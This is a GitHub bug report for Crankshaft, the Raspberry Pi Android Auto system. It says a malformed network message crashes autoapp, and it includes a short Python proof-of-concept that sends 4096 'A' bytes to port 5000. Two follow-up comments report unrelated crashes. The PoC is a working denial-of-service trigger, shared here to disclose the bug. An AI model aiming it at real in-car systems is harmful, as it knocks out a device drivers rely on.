Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Crankshaft will crash if you send an invalid data. #614

Open
dhje0ng opened this issue Jan 10, 2023 · 2 comments
Open

Crankshaft will crash if you send an invalid data. #614

dhje0ng opened this issue Jan 10, 2023 · 2 comments
Labels
bug Something isn't working dontclose

Comments

@dhje0ng
Copy link

dhje0ng commented Jan 10, 2023

If you need support: Please post on https://www.reddit.com/r/crankshaft/ as this is a bug tracker, not a support forum.

Note: Reporting issues not based on official published builds will be closed without any comment.

  1. Write and boot Crankshaft image on Raspberry PI4. Images use the latest version released on Github.
  2. To run Android Auto, connect your smartphone and Raspberry PI4 with a USB cable and run Android Auto!
  3. Executes POC code when Android Auto is running.
  4. Run the attached POC code. It is always reproducible. (However, the POC code has the network address of the tester, so you need to modify the IP address in the 6th line of the code!)
  • Proof Of Concept Code
#!/usr/bin/python3

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.1.118', 5000))
s.send(b'A'*4096)
r = s.recv(1024)
print(r)
print('exploit!!')
s.close()

MicrosoftTeams-image (1)

My guess is that this is what autoapp is crashing, but I haven't analyzed detailed logs.
Instead, I'm attaching the debug logs I dumped in developer mode.

This crashes the Android Auto function and makes it impossible to use it normally and sometimes crashes the autoapp in OpenCarOS (Crankshaft).

Thank you.
debug.zip

@matt2005 matt2005 added bug Something isn't working dontclose labels Jan 28, 2023
@balac207134
Copy link

I have a similar problem.

@balac207134
Copy link

Trying to Start openauto in EGL Mode and then it crashes. Running debuglog, it says couldn’t open /dev/i2c-1. This happens even after i2c is enabled

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working dontclose
Projects
None yet
Development

No branches or pull requests

3 participants